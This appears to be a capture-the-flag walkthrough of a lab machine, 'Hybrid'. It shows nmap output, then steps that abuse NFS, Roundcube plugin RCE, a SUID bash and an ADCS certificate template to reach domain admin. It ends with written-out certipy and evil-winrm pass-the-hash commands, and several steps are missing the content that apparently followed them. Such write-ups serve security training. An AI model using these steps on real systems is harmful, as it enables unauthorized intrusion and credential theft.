Hybrid
Enumeration
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:bc:22:26:78:3c:b4:e0:6b:ea:aa:1e:c1:62:5d:de (ECDSA)
|_ 256 a3:b5:d8:61:06:e6:3a:41:88:45:e3:52:03:d2:23:1b (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Roundcube Webmail :: Welcome to Roundcube Webmail
110/tcp open pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: UIDL RESP-CODES SASL STLS CAPA TOP AUTH-RESP-CODE PIPELINING
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35201/tcp6 mountd
| 100005 1,2,3 35217/tcp mountd
| 100005 1,2,3 57114/udp6 mountd
| 100005 2,3 36686/udp mountd
| 100021 1,3,4 32822/udp nlockmgr
| 100021 1,3,4 36721/tcp nlockmgr
| 100021 1,3,4 39365/tcp6 nlockmgr
| 100021 1,3,4 45555/udp6 nlockmgr
| 100024 1 46461/tcp status
| 100024 1 51301/tcp6 status
| 100024 1 53725/udp6 status
| 100024 1 58455/udp status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: more capabilities OK SASL-IR IDLE ID post-login listed ENABLE IMAP4rev1 have Pre-login LOGIN-REFERRALS LOGINDISABLEDA0001 STARTTLS LITERAL+
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
|_ssl-date: TLS randomness does not represent time
587/tcp open smtp Postfix smtpd
|_smtp-commands: mail01.hybrid.vl, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: more capabilities AUTH=PLAIN SASL-IR OK ID post-login listed ENABLE IMAP4rev1 have Pre-login LOGIN-REFERRALS AUTH=LOGINA0001 LITERAL+ IDLE
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
995/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: UIDL RESP-CODES USER SASL(PLAIN LOGIN) CAPA TOP AUTH-RESP-CODE PIPELINING
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mail01
| Subject Alternative Name: DNS:mail01
| Not valid before: 2023-06-17T13:20:17
|_Not valid after: 2033-06-14T13:20:17
2049/tcp open nfs_acl 3 (RPC #100227)
33389/tcp open mountd 1-3 (RPC #100005)
35217/tcp open mountd 1-3 (RPC #100005)
36721/tcp open nlockmgr 1-4 (RPC #100021)
39683/tcp open mountd 1-3 (RPC #100005)
46461/tcp open status 1 (RPC #100024)There is a website on mail01.hybrid.vl: 
Checking the nfs:
Mounting NFS:
There is a backup tarball and extracting it: 
Now checking the dovecot-users file there is clear-text password: 
Now using this to login in the website: 
A mail states the presence of markasjunkl plugin which we can use for rce: 
Changing identity like this lets us test it: 
Now trying to get reverse shell.
Base64 encode the payload and try to run
Now putting the email in junk triggers the reverse shell: 
Checking /etc/exports: 
Now copying bash from victim machine into /opt/share then accessing the share in attacker machine with a user uwu created with same uid and gid:
Copying bash to /tmp and changing ownership with:
Then replacing the bash in the share with the changed ownership bash and giving SUID:
Now running bash with:
We get a shell as peter.turner: 
From peter’s home directory, we can find passwords.kdbx file which is a keepass password safe file We get domain password: 
We can use this password to check privileges of peter, which can run anything as root 
DC Access
Running bloodhound:
Now using it to check for vulnerable certificates(run on kali):
Then using -old-bloodhound to import the data into bloodhound.
Using root user in the linux machine and getting the krb5.keytab file and using
to decrypt it and we get creds for MAIL01$: 
Using this to req certificate in certipy: certipy req -u 'MAIL01$'@hybrid.vl -hashes 0f916c5246fdbc7ba95dcef4126d57bd -c 'hybrid-DC01-CA' -target 'hybrid.vl' -template 'HybridComputers' -upn 'administrator@hybrid.vl' -dns 'dc01.hybrid.vl' -key-size 4096 -debug
To get hashes: certipy auth -pfx administrator_dc01.pfx -dc-ip 10.10.208.21 
Then to get admin shell: evil-winrm -i hybrid.vl -u administrator -H 60701e8543c9f6db1a2af3217386d3dc 
Last updated
Was this helpful?